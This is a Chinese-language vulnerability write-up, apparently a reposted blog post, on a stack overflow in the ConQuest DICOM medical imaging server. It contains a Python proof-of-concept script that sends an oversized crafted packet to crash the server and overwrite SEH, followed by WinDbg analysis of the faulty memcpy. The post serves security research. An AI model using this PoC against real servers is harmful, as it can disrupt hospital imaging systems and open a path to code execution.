65

ConQuest DICOM Server 1.4.17d 远程代码执行漏洞

 6 years ago
source link: http://www.whereisk0shl.top/post/2019-02-24?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

作者:k0shl 转载请注明出处:https://whereisk0shl.top

这个漏洞比较有意思,首先这个漏洞的软件是一个医学领域的软件,用于医学成像,其次这个软件的协议是自己定义的协议规则,也就是说具体协议字段部分的解析都是自己实现的,因此需要对协议的内容进行一定程度的分析,我在当时分析这个漏洞的时候对协议的分析比较粗浅,如有疏漏望指出。

漏洞说明

DICOM是医疗领域的一个软件,主要用于放射医疗领域,类似于图像传输等等,它可以运行在Windows,Linux和MacOS上,三个平台都存在漏洞。

PoC:

import socket, sys
 
hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
         '\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
         '\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
         '\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
         '\x31\x20\x00\x80\x00')
 
# 33406 bytes
buffer  = '\x41' * 20957 # STACK OVERFLOW / SEH OVERWRITE
buffer += '\x42' * 8 # RCX = 4242424242424242
buffer += '\x43' * 8 # defiler ;]
buffer += '\x44\x44\x44\x44' # EAX = 44444444 / RAX = 0000000044444444
buffer += '\x45' * 12429
 
bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
       '\x52\x00\x00\x00')
 
print 'Sending '+str(len(buffer))+' bytes of data!'
 
if len(sys.argv) < 3:
    print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'
    print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 5678\n'
    sys.exit(0)
  
host = sys.argv[1]
port = int(sys.argv[2])
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(17)
s.send(hello+buffer+bye)
s.close

漏洞复现

它在运行的时候会创建一个Server,会开一个端口,在Windows上是5678端口,DICOM有自己的通信协议,协议目前没有找到格式标准,开头部分如下

.....q....ORTHANC         JOXYPOXY!...........................................1.2.840.10008.3.1.1.1 ...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

在协议数据包里DATA部分包含畸形字符串的时候,DICOM会由于处理畸形字符串时,没有对数据长度进行有效控制,最后导致调用memcpy的时候将数据拷贝至栈地址空间,最后导致关键指针被覆盖引发异常指针引用,最后通过覆盖SEH结构导致代码执行,下面进行详细分析。

首先5678端口的进程是dgate.exe,windbg附加,发送PoC,程序崩溃。

0:002> g
(1db0.f6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000af5 ecx=41414141 edx=da7854d8 esi=01812830 edi=019b7848
eip=0058b6a0 esp=019b6234 ebp=019b98c4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** WARNING: Unable to verify checksum for C:\Users\Administrator\Desktop\dicomserver1417d\dgate.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Users\Administrator\Desktop\dicomserver1417d\dgate.exe
dgate+0x18b6a0:
0058b6a0 8b4804          mov     ecx,dword ptr [eax+4] ds:0023:41414145=????????

kb回溯堆栈调用发现看不到之前的调用。

0:002> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
019b98c4 00000000 00000000 00000000 00000000 dgate+0x18b6a0

中断位置所处的函数挺复杂的,就从这个函数入手来看一下到底为什么发生漏洞。

漏洞分析

在程序入口下断点重新跟踪后,发现程序多次命中入口,对漏洞发生前的入口跟踪,发现eax=0x41的时候,离漏洞发生位置最近,而且0x41也是payload的一部分。

0:002> g
eax=00000041 ebx=00dfa820 ecx=012b7848 edx=00000001 esi=012b7848 edi=00dfa86c
eip=0058b570 esp=012b6244 ebp=00003eb7 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x18b570:
0058b570 53              push    ebx
0:002> g
eax=00000041 ebx=00dfa820 ecx=012b7848 edx=012b6278 esi=012b7848 edi=00dfa86c
eip=0058b570 esp=012b6244 ebp=00003eb7 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
dgate+0x18b570:
0058b570 53              push    ebx
0:002> dd ebx
00dfa820  41414141 00004141 41414141 41414141
00dfa830  41414141 41414141 41414141 41414141
00dfa840  41414141 41414141 41414141 41414141

在离漏洞发生最近的位置通过kb回溯,可以看到之前的函数调用。

0:002> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
012b6240 00591856 012b6278 00004141 012b7888 dgate+0x18b570
012b62c0 005932d3 012b7848 012b7888 012b7848 dgate+0x191856
012b62d8 00594706 012b7820 0065c808 00000000 dgate+0x1932d3
00000000 00000000 00000000 00000000 00000000 dgate+0x194706

在最外层函数下断点,发现在最外层call函数调用的时候,esp栈帧还是正常的栈帧情况,但是如果步过会到达漏洞发生的位置,也就是这个call函数只调用了一次,且esp的值会被覆盖成payload。

0:002> g
Breakpoint 0 hit
eax=00000001 ebx=00000000 ecx=019d7888 edx=00000001 esi=019d7848 edi=019d7888
eip=00594701 esp=019d62e0 ebp=019fff80 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x194701:
00594701 e8baeaffff      call    dgate+0x1931c0 (005931c0)
0:002> dd esp
019d62e0  019d7848 0065c808 00000000 00000001
019d62f0  0044fc9e 00000070 00000000 00000000
019d6300  0065c808 00000000 00000000 00000000

这样,就在esp当时所处的位置下一个条件断点,这样可以快速定位到是什么时候令栈帧被覆盖的。

0:002> t
eax=00000001 ebx=00000000 ecx=019d7888 edx=00000001 esi=019d7848 edi=019d7888
eip=005931c0 esp=019d62dc ebp=019fff80 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x1931c0:
005931c0 53              push    ebx
0:002> ba w1 019d62dc

下断点后直接执行,发现程序命中在一处rep movs指令,这个指令负责的是内存拷贝,多数都是memcpy。

0:002> g
Breakpoint 1 hit
eax=018f1170 ebx=00004141 ecx=00000373 edx=00000000 esi=018f03a4 edi=019d62f8
eip=005ba9ca esp=019d6218 ebp=019d6220 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
dgate+0x1ba9ca:
005ba9ca f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:002> dd 019d62dc
019d62dc  41414141 41414141 41414141 41414141
019d62ec  41414141 41414141 41414141 00000000

跟踪005ba9ca这处地址,发现这处地址处于一个memcpy的函数中,负责拷贝的就是payload,所以造成了esp被覆盖。

if ( v12 + v3 > v13 )
  {
    memcpy(v5, (const void *)(v12 + v11[3]), v13 - v12);

而向外回溯的时候发现这个memcpy就处于漏洞发生的函数中,遮掩刚就在这里下一个断点,进行跟踪。

0:002> g
Breakpoint 1 hit
eax=00002800 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b635 esp=019e6220 ebp=0187a828 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
dgate+0x18b635:
0058b635 2bc1            sub     eax,ecx
0:002> p
eax=00002791 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b637 esp=019e6220 ebp=0187a828 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x18b637:
0058b637 50              push    eax
0:002> p
eax=00002791 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b638 esp=019e621c ebp=0187a828 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x18b638:
0058b638 8b460c          mov     eax,dword ptr [esi+0Ch] ds:0023:0184286c=01c10048
0:002> p
eax=01c10048 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b63b esp=019e621c ebp=0187a828 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x18b63b:
0058b63b 03c1            add     eax,ecx
0:002> p
eax=01c100b7 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b63d esp=019e621c ebp=0187a828 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
dgate+0x18b63d:
0058b63d 50              push    eax
0:002> p
eax=01c100b7 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b63e esp=019e6218 ebp=0187a828 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
dgate+0x18b63e:
0058b63e 55              push    ebp
0:002> p
eax=01c100b7 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b63f esp=019e6214 ebp=0187a828 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
dgate+0x18b63f:
0058b63f e82cf30200      call    dgate+0x1ba970 (005ba970)
0:002> dd esp
019e6214  0187a828 01c100b7 00002791 0187a820
019e6224  00007ffc 0187a822 019e7848 0058e968
019e6234  0187a828 00004141 0187a818 019e7848

到达call memcpy调用的时候观察esp的三个参数,其中0x2791代表拷贝的长度,也就是10000+个字节,01c100b7,就是要拷贝的内容,就是我们的payload。

0:002> dc 01c100b7
01c100b7  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01c100c7  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01c100d7  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01c100e7  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

而0187a828就是待拷贝的缓冲区,我们可以看到这个值离ebp的值很近,可以直接覆盖到ebp。这样拷贝结束之后。

0:002> p
eax=0187a828 ebx=00004141 ecx=00000000 edx=00000001 esi=01842860 edi=019e7848
eip=0058b644 esp=019e6214 ebp=0187a828 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x18b644:
0058b644 8b4604          mov     eax,dword ptr [esi+4] ds:0023:01842864=0000006f
0:002> dd eax
0187a828  41414141 41414141 41414141 41414141
0187a838  41414141 41414141 41414141 41414141
0187a848  41414141 41414141 41414141 41414141
0187a858  41414141 41414141 41414141 41414141
0:002> dd ebp
0187a828  41414141 41414141 41414141 41414141

可以看到ebp的值也被覆盖了,某些关键指针被覆盖,最后引用的时候,会引用到无效指针。

eax=41414141 ebx=00000af5 ecx=41414141 edx=da7854d8 esi=01812830 edi=019b7848
eip=0058b6a0 esp=019b6234 ebp=019b98c4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** WARNING: Unable to verify checksum for C:\Users\Administrator\Desktop\dicomserver1417d\dgate.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Users\Administrator\Desktop\dicomserver1417d\dgate.exe
dgate+0x18b6a0:
0058b6a0 8b4804          mov     ecx,dword ptr [eax+4] ds:0023:41414145=????????

同样,可以利用这种结构直接覆盖到seh结构,最后导致代码执行。这个漏洞发生的原因,就是由于DICOM在接收5678端口处理DICOM自己协议的时候由于对于数据包长度控制不严格,从而导致了某些关键指针被覆盖,最后导致代码执行。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK